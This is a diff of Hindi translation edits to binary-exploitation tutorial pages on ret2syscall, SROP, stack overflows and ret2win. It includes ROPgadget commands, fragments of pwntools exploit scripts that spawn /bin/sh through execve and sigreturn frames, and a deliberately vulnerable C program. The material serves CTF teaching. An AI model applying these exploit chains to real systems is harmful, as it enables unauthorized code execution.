यह Ret2lib के समान है, हालाँकि, इस मामले में हम किसी पुस्तकालय से एक फ़ंक्शन को कॉल नहीं करेंगे। इस मामले में, सब कुछ `/bin/sh` को निष्पादित करने के लिए कुछ तर्कों के साथ `sys_execve` syscall को कॉल करने के लिए तैयार किया जाएगा। यह तकनीक आमतौर पर उन बाइनरी पर की जाती है जो स्थिर रूप से संकलित होती हैं, इसलिए वहाँ कई गैजेट और syscall निर्देश हो सकते हैं।
|
||||
|
||||
**syscall** के लिए कॉल तैयार करने के लिए निम्नलिखित कॉन्फ़िगरेशन की आवश्यकता है:
|
||||
|
||||
@ -13,10 +13,10 @@
|
||||
- `rsi: 0 कोई तर्क नहीं दिया गया`
|
||||
- `rdx: 0 कोई पर्यावरण चर नहीं दिया गया`
|
||||
|
||||
तो, मूल रूप से, `/bin/sh` को कहीं लिखना आवश्यक है और फिर `syscall` करना है (स्टैक को नियंत्रित करने के लिए आवश्यक पैडिंग के बारे में जागरूक रहना)। इसके लिए, हमें एक गैजेट की आवश्यकता है जो `/bin/sh` को एक ज्ञात क्षेत्र में लिख सके।
|
||||
तो, मूल रूप से, `/bin/sh` स्ट्रिंग को कहीं लिखना आवश्यक है और फिर `syscall` करना है (स्टैक को नियंत्रित करने के लिए आवश्यक पैडिंग के बारे में जागरूक रहते हुए)। इसके लिए, हमें एक गैजेट की आवश्यकता है जो `/bin/sh` को एक ज्ञात क्षेत्र में लिख सके।
|
||||
|
||||
> [!TIP]
|
||||
> कॉल करने के लिए एक और दिलचस्प syscall **`mprotect`** है जो एक हमलावर को **मेमोरी में एक पृष्ठ की अनुमतियों को संशोधित करने** की अनुमति देगा। इसे [**ret2shellcode**](../../stack-overflow/stack-shellcode/) के साथ जोड़ा जा सकता है।
|
||||
> कॉल करने के लिए एक और दिलचस्प syscall **`mprotect`** है जो एक हमलावर को **मेमोरी में एक पृष्ठ के अनुमतियों को संशोधित करने** की अनुमति देगा। इसे [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html) के साथ जोड़ा जा सकता है।
|
||||
|
||||
## Register gadgets
|
||||
|
||||
@ -28,7 +28,7 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
0x00000000004101f3 : pop rsi ; ret
|
||||
0x00000000004498b5 : pop rdx ; ret
|
||||
```
|
||||
इन पते के साथ, **स्टैक में सामग्री लिखना और इसे रजिस्टर में लोड करना संभव है**।
|
||||
इन पते के साथ, यह संभव है कि **स्टैक में सामग्री लिखें और इसे रजिस्टर में लोड करें**।
|
||||
|
||||
## स्ट्रिंग लिखें
|
||||
|
||||
@ -45,12 +45,12 @@ Start End Offset Perm Path
|
||||
```
|
||||
### मेमोरी में स्ट्रिंग लिखें
|
||||
|
||||
फिर आपको इस पते पर मनचाही सामग्री लिखने का एक तरीका खोजना होगा
|
||||
फिर आपको इस पते पर मनचाही सामग्री लिखने का एक तरीका खोजना होगा।
|
||||
```python
|
||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
```
|
||||
### ROP श्रृंखला स्वचालित करें
|
||||
### ROP श्रृंखला को स्वचालित करें
|
||||
|
||||
निम्नलिखित कमांड एक स्थिर बाइनरी के लिए पूर्ण `sys_execve` ROP श्रृंखला बनाता है जब वहाँ write-what-where गैजेट्स और syscall निर्देश होते हैं:
|
||||
```bash
|
||||
@ -96,7 +96,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## Gadgets की कमी
|
||||
|
||||
यदि आप **gadgets की कमी** महसूस कर रहे हैं, उदाहरण के लिए `/bin/sh` को मेमोरी में लिखने के लिए, तो आप स्टैक से सभी रजिस्टर मानों (RIP और params रजिस्टर सहित) को नियंत्रित करने के लिए **SROP तकनीक** का उपयोग कर सकते हैं:
|
||||
यदि आप **gadgets की कमी** महसूस कर रहे हैं, उदाहरण के लिए `/bin/sh` को मेमोरी में लिखने के लिए, तो आप स्टैक से सभी रजिस्टर मानों (जिसमें RIP और params रजिस्टर शामिल हैं) को नियंत्रित करने के लिए **SROP तकनीक** का उपयोग कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../srop-sigreturn-oriented-programming/
|
||||
@ -174,7 +174,7 @@ target.interactive()
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
|
||||
- 64 बिट, कोई PIE नहीं, nx, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें।
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
|
||||
- 64 बिट, nx, कोई PIE नहीं, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें। स्टैक में लिखने के लिए एक ऐसा फ़ंक्शन जो गणितीय संचालन करता है, का दुरुपयोग किया जाता है।
|
||||
- 64 बिट, nx, कोई PIE नहीं, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें। स्टैक में लिखने के लिए गणितीय संचालन करने वाले एक फ़ंक्शन का दुरुपयोग किया गया है।
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 बिट, कोई PIE नहीं, nx, BF कैनरी, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें।
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**`Sigreturn`** एक विशेष **syscall** है जिसका मुख्य उपयोग एक सिग्नल हैंडलर के निष्पादन के बाद सफाई करने के लिए किया जाता है। सिग्नल वे व्यवधान हैं जो ऑपरेटिंग सिस्टम द्वारा एक प्रोग्राम को भेजे जाते हैं, अक्सर यह संकेत देने के लिए कि कोई असाधारण स्थिति उत्पन्न हुई है। जब एक प्रोग्राम एक सिग्नल प्राप्त करता है, तो यह अस्थायी रूप से अपने वर्तमान कार्य को रोकता है ताकि सिग्नल को एक **सिग्नल हैंडलर** के साथ संभाला जा सके, जो सिग्नल से निपटने के लिए डिज़ाइन किया गया एक विशेष फ़ंक्शन है।
|
||||
**`Sigreturn`** एक विशेष **syscall** है जिसका मुख्य उपयोग एक सिग्नल हैंडलर के निष्पादन के बाद सफाई करने के लिए किया जाता है। सिग्नल ऑपरेटिंग सिस्टम द्वारा प्रोग्राम को भेजे गए व्यवधान होते हैं, अक्सर यह संकेत देने के लिए कि कोई असाधारण स्थिति उत्पन्न हुई है। जब एक प्रोग्राम एक सिग्नल प्राप्त करता है, तो यह सिग्नल को संभालने के लिए **सिग्नल हैंडलर** के साथ अपने वर्तमान कार्य को अस्थायी रूप से रोक देता है, जो सिग्नल से निपटने के लिए डिज़ाइन किया गया एक विशेष फ़ंक्शन है।
|
||||
|
||||
सिग्नल हैंडलर के समाप्त होने के बाद, प्रोग्राम को **अपने पिछले स्थिति पर लौटने** की आवश्यकता होती है जैसे कुछ हुआ ही न हो। यहीं पर **`sigreturn`** का काम आता है। यह प्रोग्राम को **सिग्नल हैंडलर से लौटने** में मदद करता है और सिग्नल हैंडलर द्वारा उपयोग किए गए स्टैक फ्रेम (मेमोरी का वह भाग जो फ़ंक्शन कॉल और स्थानीय चर को संग्रहीत करता है) को साफ करके प्रोग्राम की स्थिति को बहाल करता है।
|
||||
सिग्नल हैंडलर के समाप्त होने के बाद, प्रोग्राम को **अपने पिछले स्थिति पर लौटने** की आवश्यकता होती है जैसे कि कुछ भी नहीं हुआ। यहीं पर **`sigreturn`** काम आता है। यह प्रोग्राम को **सिग्नल हैंडलर से लौटने** में मदद करता है और सिग्नल हैंडलर द्वारा उपयोग किए गए स्टैक फ्रेम (मेमोरी का वह भाग जो फ़ंक्शन कॉल और स्थानीय चर को संग्रहीत करता है) को साफ करके प्रोग्राम की स्थिति को बहाल करता है।
|
||||
|
||||
दिलचस्प बात यह है कि **`sigreturn`** प्रोग्राम की स्थिति को कैसे बहाल करता है: यह **CPU के सभी रजिस्टर मानों को स्टैक पर संग्रहीत करके** ऐसा करता है। जब सिग्नल अब अवरुद्ध नहीं होता, तो **`sigreturn` इन मानों को स्टैक से पॉप करता है**, प्रभावी रूप से CPU के रजिस्टर को उनके उस स्थिति में रीसेट करता है जब सिग्नल को संभाला गया था। इसमें स्टैक पॉइंटर रजिस्टर (RSP) शामिल है, जो स्टैक के वर्तमान शीर्ष की ओर इशारा करता है।
|
||||
|
||||
> [!CAUTION]
|
||||
> ROP चेन से **`sigreturn`** syscall को कॉल करना और **रजिस्ट्रियों के मानों को जोड़ना** जिन्हें हम **स्टैक** में लोड करना चाहते हैं, यह संभव बनाता है कि हम सभी रजिस्टर मानों को **नियंत्रित** कर सकें और इसलिए **कॉल** कर सकें, उदाहरण के लिए, syscall `execve` के साथ `/bin/sh`।
|
||||
> ROP चेन से **`sigreturn`** syscall को कॉल करना और **रजिस्ट्रियों के मानों को जोड़ना** जिन्हें हम **स्टैक** में लोड करना चाहते हैं, यह संभव है कि हम सभी रजिस्टर मानों को **नियंत्रित** कर सकें और इसलिए **कॉल** कर सकें, उदाहरण के लिए, syscall `execve` के साथ `/bin/sh`।
|
||||
|
||||
ध्यान दें कि यह एक **Ret2syscall** का **प्रकार** होगा जो अन्य Ret2syscalls को कॉल करने के लिए पैरामीटर को नियंत्रित करना बहुत आसान बनाता है:
|
||||
|
||||
@ -55,7 +55,7 @@
|
||||
| __reserved | sigmask |
|
||||
+--------------------+--------------------+
|
||||
```
|
||||
एक बेहतर व्याख्या के लिए देखें:
|
||||
इसके बेहतर स्पष्टीकरण के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
|
||||
## उदाहरण
|
||||
|
||||
आप [**यहां एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) जहां सिग्नरटर्न के लिए कॉल ROP के माध्यम से बनाई गई है (rxa में मान `0xf` डालकर), हालांकि यह वहां से अंतिम एक्सप्लॉइट है:
|
||||
आप [**यहां एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) जहां सिग्नरटर्न के लिए कॉल ROP के माध्यम से बनाया गया है (rxa में मान `0xf` डालकर), हालांकि यह वहां से अंतिम एक्सप्लॉइट है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -90,7 +90,7 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
यहाँ [**यहाँ से एक्सप्लॉइट**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) को भी चेक करें जहाँ बाइनरी पहले से ही `sigreturn` को कॉल कर रही थी और इसलिए इसे **ROP** के साथ बनाने की आवश्यकता नहीं है:
|
||||
चेक करें [**यहां से एक्सप्लॉइट**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) जहां बाइनरी पहले से ही `sigreturn` को कॉल कर रही थी और इसलिए इसे **ROP** के साथ बनाने की आवश्यकता नहीं है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -128,13 +128,13 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
|
||||
- Assembly बाइनरी जो **स्टैक पर लिखने** की अनुमति देती है और फिर **`sigreturn`** syscall को कॉल करती है। यह संभव है कि स्टैक पर एक [**ret2syscall**](../rop-syscall-execv/) को **sigreturn** संरचना के माध्यम से लिखा जाए और बाइनरी की मेमोरी के अंदर फ्लैग को पढ़ा जाए।
|
||||
- Assembly binary जो **stack पर लिखने** की अनुमति देता है और फिर **`sigreturn`** syscall को कॉल करता है। यह संभव है कि stack पर एक [**ret2syscall**](../rop-syscall-execv/index.html) को **sigreturn** संरचना के माध्यम से लिखा जाए और उस फ्लैग को पढ़ा जाए जो बाइनरी की मेमोरी के अंदर है।
|
||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
|
||||
- Assembly बाइनरी जो **स्टैक पर लिखने** की अनुमति देती है और फिर **`sigreturn`** syscall को कॉल करती है। यह संभव है कि स्टैक पर एक [**ret2syscall**](../rop-syscall-execv/) को **sigreturn** संरचना के माध्यम से लिखा जाए (बाइनरी में स्ट्रिंग `/bin/sh` है)।
|
||||
- Assembly binary जो **stack पर लिखने** की अनुमति देता है और फिर **`sigreturn`** syscall को कॉल करता है। यह संभव है कि stack पर एक [**ret2syscall**](../rop-syscall-execv/index.html) को **sigreturn** संरचना के माध्यम से लिखा जाए (बाइनरी में स्ट्रिंग `/bin/sh` है)।
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64 बिट्स, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। `gets` फ़ंक्शन का उपयोग करते हुए सरल बफर ओवरफ्लो जो [**ret2syscall**](../rop-syscall-execv/) को निष्पादित करता है। ROP श्रृंखला `/bin/sh` को `.bss` में लिखती है, फिर से gets को कॉल करके, यह **`alarm`** फ़ंक्शन का दुरुपयोग करती है ताकि eax को `0xf` पर सेट किया जा सके ताकि एक **SROP** को कॉल किया जा सके और एक शेल निष्पादित किया जा सके।
|
||||
- 64 बिट्स, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। `gets` फ़ंक्शन का उपयोग करते हुए सरल बफर ओवरफ्लो जो [**ret2syscall**](../rop-syscall-execv/index.html) को निष्पादित करता है। ROP श्रृंखला `/bin/sh` को `.bss` में लिखती है, फिर से gets को कॉल करके, यह **`alarm`** फ़ंक्शन का दुरुपयोग करता है ताकि eax को `0xf` पर सेट किया जा सके ताकि एक **SROP** को कॉल किया जा सके और एक शेल निष्पादित किया जा सके।
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- 64 बिट्स assembly प्रोग्राम, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। प्रवाह स्टैक में लिखने, कई रजिस्टरों को नियंत्रित करने, और एक syscall को कॉल करने की अनुमति देता है और फिर यह `exit` को कॉल करता है। चयनित syscall एक `sigreturn` है जो रजिस्टर सेट करेगा और `eip` को पिछले syscall निर्देश को कॉल करने के लिए स्थानांतरित करेगा और बाइनरी स्पेस को `rwx` पर सेट करने के लिए `memprotect` को चलाएगा और बाइनरी स्पेस में ESP को सेट करेगा। प्रवाह का पालन करते हुए, प्रोग्राम फिर से ESP में पढ़ने को कॉल करेगा, लेकिन इस मामले में ESP अगली निर्देश की ओर इशारा करेगा, इसलिए एक शेलकोड को पास करना इसे अगली निर्देश के रूप में लिखेगा और इसे निष्पादित करेगा।
|
||||
- 64 बिट्स assembly प्रोग्राम, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। प्रवाह stack में लिखने, कई रजिस्टरों को नियंत्रित करने, और एक syscall को कॉल करने की अनुमति देता है और फिर यह `exit` को कॉल करता है। चयनित syscall एक `sigreturn` है जो रजिस्टर सेट करेगा और `eip` को पिछले syscall निर्देश को कॉल करने के लिए स्थानांतरित करेगा और बाइनरी स्पेस को `rwx` पर सेट करने के लिए `memprotect` को चलाएगा और बाइनरी स्पेस में ESP को सेट करेगा। प्रवाह का पालन करते हुए, प्रोग्राम फिर से ESP में पढ़ने को कॉल करेगा, लेकिन इस मामले में ESP अगली निर्देश की ओर इशारा करेगा, इसलिए एक शेलकोड को पास करना इसे अगली निर्देश के रूप में लिखेगा और इसे निष्पादित करेगा।
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP का उपयोग निष्पादन विशेषाधिकार (memprotect) देने के लिए किया जाता है उस स्थान पर जहां एक शेलकोड रखा गया था।
|
||||
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## What is a Stack Overflow
|
||||
|
||||
A **stack overflow** एक सुरक्षा कमी है जो तब होती है जब एक प्रोग्राम स्टैक में उस डेटा से अधिक डेटा लिखता है जितना कि उसे रखने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **सन्निकट मेमोरी स्थान को ओवरराइट** करेगा, जिससे वैध डेटा का भ्रष्टाचार, नियंत्रण प्रवाह में विघटन, और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर असुरक्षित कार्यों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा जांच नहीं करते हैं।
|
||||
A **stack overflow** एक सुरक्षा कमी है जो तब होती है जब एक प्रोग्राम स्टैक में उस डेटा से अधिक लिखता है जितना कि उसे रखने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **सन्निकट मेमोरी स्थान को ओवरराइट** करेगा, जिससे वैध डेटा का भ्रष्टाचार, नियंत्रण प्रवाह में विघटन, और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर असुरक्षित कार्यों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा जांच नहीं करते हैं।
|
||||
|
||||
इस ओवरराइट की मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचकांक (EIP/RIP)** और **सहेजा गया बेस सूचकांक (EBP/RBP)** जो पिछले कार्य में लौटने के लिए हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट करने में सक्षम होगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित** कर सकेगा।
|
||||
इस ओवरराइट का मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचक (EIP/RIP)** और **सहेजा गया बेस पॉइंटर (EBP/RBP)** जो पिछले कार्य में लौटने के लिए हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट कर सकेगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित** कर सकेगा।
|
||||
|
||||
यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य **स्टैक के अंदर उन बाइट्स की अधिक संख्या की कॉपी करता है जितनी कि इसके लिए आवंटित की गई है**, जिससे अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है।
|
||||
यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य **स्टैक में आवंटित मात्रा से अधिक बाइट्स की कॉपी करता है**, जिससे अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है।
|
||||
|
||||
इससे प्रभावित कुछ सामान्य कार्य हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... इसके अलावा, ऐसे कार्य जैसे **`fgets`**, **`read` & `memcpy`** जो **लंबाई तर्क** लेते हैं, यदि निर्दिष्ट लंबाई आवंटित लंबाई से अधिक है तो उन्हें असुरक्षित तरीके से उपयोग किया जा सकता है।
|
||||
इससे प्रभावित कुछ सामान्य कार्य हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... इसके अलावा, ऐसे कार्य जैसे **`fgets`**, **`read` & `memcpy`** जो **लंबाई तर्क** लेते हैं, यदि निर्दिष्ट लंबाई आवंटित से अधिक है तो एक असुरक्षित तरीके से उपयोग किए जा सकते हैं।
|
||||
|
||||
उदाहरण के लिए, निम्नलिखित कार्य असुरक्षित हो सकते हैं:
|
||||
```c
|
||||
@ -25,9 +25,9 @@ printf("You entered: %s\n", buffer);
|
||||
|
||||
Stack overflows खोजने का सबसे सामान्य तरीका `A`s का बहुत बड़ा इनपुट देना है (जैसे `python3 -c 'print("A"*1000)'`) और एक `Segmentation Fault` की उम्मीद करना जो यह संकेत करता है कि **पता `0x41414141` को एक्सेस करने की कोशिश की गई थी**।
|
||||
|
||||
इसके अलावा, एक बार जब आप यह पता लगा लेते हैं कि Stack Overflow की कमजोरी है, तो आपको **रिटर्न एड्रेस को ओवरराइट करने** के लिए ऑफसेट खोजना होगा, इसके लिए आमतौर पर **De Bruijn अनुक्रम** का उपयोग किया जाता है। जो एक दिए गए वर्णमाला के आकार _k_ और लंबाई _n_ के उप अनुक्रमों के लिए एक **चक्रीय अनुक्रम है जिसमें लंबाई \_n**\_\*\* के हर संभव उप अनुक्रम** ठीक एक बार** एक सन्निहित उप अनुक्रम के रूप में प्रकट होता है।
|
||||
इसके अलावा, एक बार जब आप यह पता लगा लेते हैं कि Stack Overflow की कमजोरी है, तो आपको यह पता लगाने की आवश्यकता होगी कि **रिटर्न एड्रेस को ओवरराइट करने के लिए कितना ऑफसेट चाहिए**, इसके लिए आमतौर पर एक **De Bruijn अनुक्रम** का उपयोग किया जाता है। जो कि एक दिए गए वर्णमाला के आकार _k_ और लंबाई _n_ के उप अनुक्रमों के लिए एक **चक्रीय अनुक्रम है जिसमें लंबाई \_n**\_\*\* के हर संभव उप अनुक्रम** ठीक एक बार** एक सन्निहित उप अनुक्रम के रूप में प्रकट होता है।
|
||||
|
||||
इस तरह, EIP को नियंत्रित करने के लिए आवश्यक ऑफसेट को हाथ से खोजने के बजाय, इन अनुक्रमों में से एक को पैडिंग के रूप में उपयोग करना संभव है और फिर उन बाइट्स के ऑफसेट को खोजना संभव है जिन्होंने इसे ओवरराइट किया।
|
||||
इस तरह, EIP को नियंत्रित करने के लिए आवश्यक ऑफसेट को हाथ से पता लगाने के बजाय, इन अनुक्रमों में से एक को पैडिंग के रूप में उपयोग करना संभव है और फिर यह पता लगाना संभव है कि ओवरराइटिंग के अंत में कौन से बाइट्स का ऑफसेट था।
|
||||
|
||||
इसके लिए **pwntools** का उपयोग करना संभव है:
|
||||
```python
|
||||
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## स्टैक ओवरफ्लोज़ का शोषण
|
||||
|
||||
एक ओवरफ्लो के दौरान (मान लेते हैं कि ओवरफ्लो का आकार पर्याप्त बड़ा है) आप स्टैक के अंदर स्थानीय चर के मानों को **ओवरराइट** करने में सक्षम होंगे जब तक कि सहेजे गए **EBP/RBP और EIP/RIP (या इससे भी अधिक)** तक नहीं पहुँच जाते।\
|
||||
एक ओवरफ्लो के दौरान (मान लेते हैं कि ओवरफ्लो का आकार पर्याप्त बड़ा है) आप स्टैक के अंदर स्थानीय चर के मानों को **ओवरराइट** करने में सक्षम होंगे जब तक कि **EBP/RBP और EIP/RIP (या इससे भी अधिक)** तक नहीं पहुँच जाते।\
|
||||
इस प्रकार की भेद्यता का दुरुपयोग करने का सबसे सामान्य तरीका **रिटर्न पते को संशोधित करना** है ताकि जब फ़ंक्शन समाप्त हो, तो **नियंत्रण प्रवाह उस पते पर पुनर्निर्देशित हो जाए जो उपयोगकर्ता ने निर्दिष्ट किया है**।
|
||||
|
||||
हालांकि, अन्य परिदृश्यों में, केवल **स्टैक में कुछ चर के मानों को ओवरराइट करना** शोषण के लिए पर्याप्त हो सकता है (जैसे आसान CTF चुनौतियों में)।
|
||||
|
||||
### Ret2win
|
||||
|
||||
इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी कॉल नहीं किया जाता** और जिसे **जीतने के लिए आपको कॉल करना है**। इन चुनौतियों के लिए आपको केवल **रिटर्न पते को ओवरराइट करने के लिए ऑफसेट** खोजने की आवश्यकता है और **कॉल करने के लिए फंक्शन का पता** खोजने की आवश्यकता है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/) अक्षम होगा) ताकि जब कमजोर फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन कॉल किया जाएगा:
|
||||
इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी कॉल नहीं किया जाता** और जिसे **जीतने के लिए आपको कॉल करना होगा**। इन चुनौतियों के लिए आपको केवल **रिटर्न पते को ओवरराइट करने के लिए ऑफसेट** खोजने की आवश्यकता है और **कॉल करने के लिए फंक्शन का पता** खोजने की आवश्यकता है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) अक्षम होगा) ताकि जब कमजोर फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन कॉल किया जाएगा:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -65,7 +65,7 @@ ret2win/
|
||||
|
||||
### स्टैक शेलकोड
|
||||
|
||||
इस परिदृश्य में हमलावर स्टैक में एक शेलकोड रख सकता है और नियंत्रित EIP/RIP का दुरुपयोग करके शेलकोड पर कूद सकता है और मनमाने कोड को निष्पादित कर सकता है:
|
||||
इस परिदृश्य में हमलावर स्टैक में एक शेलकोड रख सकता है और नियंत्रित EIP/RIP का दुरुपयोग करके शेलकोड पर कूद सकता है और मनचाहा कोड निष्पादित कर सकता है:
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode/
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### ROP & Ret2... तकनीकें
|
||||
|
||||
यह तकनीक पिछले तकनीक की मुख्य सुरक्षा को बायपास करने के लिए मौलिक ढांचा है: **कोई निष्पादन योग्य स्टैक (NX)**। और यह कई अन्य तकनीकों (ret2lib, ret2syscall...) को निष्पादित करने की अनुमति देती है जो बाइनरी में मौजूदा निर्देशों का दुरुपयोग करके मनमाने आदेशों को निष्पादित करेंगी:
|
||||
यह तकनीक मुख्य सुरक्षा को बायपास करने के लिए मौलिक ढांचा है: **कोई निष्पादन योग्य स्टैक (NX)**। और यह कई अन्य तकनीकों (ret2lib, ret2syscall...) को निष्पादित करने की अनुमति देती है जो बाइनरी में मौजूदा निर्देशों का दुरुपयोग करके मनचाहा आदेश निष्पादित करेंगी:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Ret2win** चुनौतियाँ **Capture The Flag (CTF)** प्रतियोगिताओं में एक लोकप्रिय श्रेणी हैं, विशेष रूप से उन कार्यों में जो **binary exploitation** से संबंधित हैं। लक्ष्य एक दिए गए बाइनरी में एक कमजोरियों का लाभ उठाना है ताकि बाइनरी के भीतर एक विशिष्ट, अप्रयुक्त फ़ंक्शन को निष्पादित किया जा सके, जिसे अक्सर `win`, `flag`, आदि जैसे नामों से जाना जाता है। जब इस फ़ंक्शन को निष्पादित किया जाता है, तो यह आमतौर पर एक ध्वज या सफलता संदेश प्रिंट करता है। चुनौती आमतौर पर स्टैक पर **return address** को ओवरराइट करने में शामिल होती है ताकि निष्पादन प्रवाह को इच्छित फ़ंक्शन की ओर मोड़ा जा सके। यहाँ एक अधिक विस्तृत व्याख्या है उदाहरणों के साथ:
|
||||
**Ret2win** चुनौतियाँ **Capture The Flag (CTF)** प्रतियोगिताओं में एक लोकप्रिय श्रेणी हैं, विशेष रूप से उन कार्यों में जो **binary exploitation** से संबंधित हैं। लक्ष्य एक दिए गए बाइनरी में एक कमजोरियों का लाभ उठाना है ताकि बाइनरी के भीतर एक विशिष्ट, अनावृत्त कार्य को निष्पादित किया जा सके, जिसे अक्सर `win`, `flag`, आदि जैसे नामों से जाना जाता है। जब इस कार्य को निष्पादित किया जाता है, तो यह आमतौर पर एक ध्वज या सफलता संदेश प्रिंट करता है। चुनौती आमतौर पर स्टैक पर **return address** को ओवरराइट करने में शामिल होती है ताकि निष्पादन प्रवाह को इच्छित कार्य की ओर मोड़ा जा सके। यहाँ एक अधिक विस्तृत व्याख्या है उदाहरणों के साथ:
|
||||
|
||||
### C Example
|
||||
|
||||
एक साधारण C प्रोग्राम पर विचार करें जिसमें एक कमजोरी और एक `win` फ़ंक्शन है जिसे हम कॉल करने का इरादा रखते हैं:
|
||||
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -32,14 +32,14 @@ return 0;
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-m32`: प्रोग्राम को 32-बिट बाइनरी के रूप में संकलित करें (यह वैकल्पिक है लेकिन CTF चुनौतियों में सामान्य है)।
|
||||
- `-fno-stack-protector`: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को अक्षम करें।
|
||||
- `-fno-stack-protector`: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को निष्क्रिय करें।
|
||||
- `-z execstack`: स्टैक पर कोड के निष्पादन की अनुमति दें।
|
||||
- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करें ताकि `win` फ़ंक्शन का पता न बदले।
|
||||
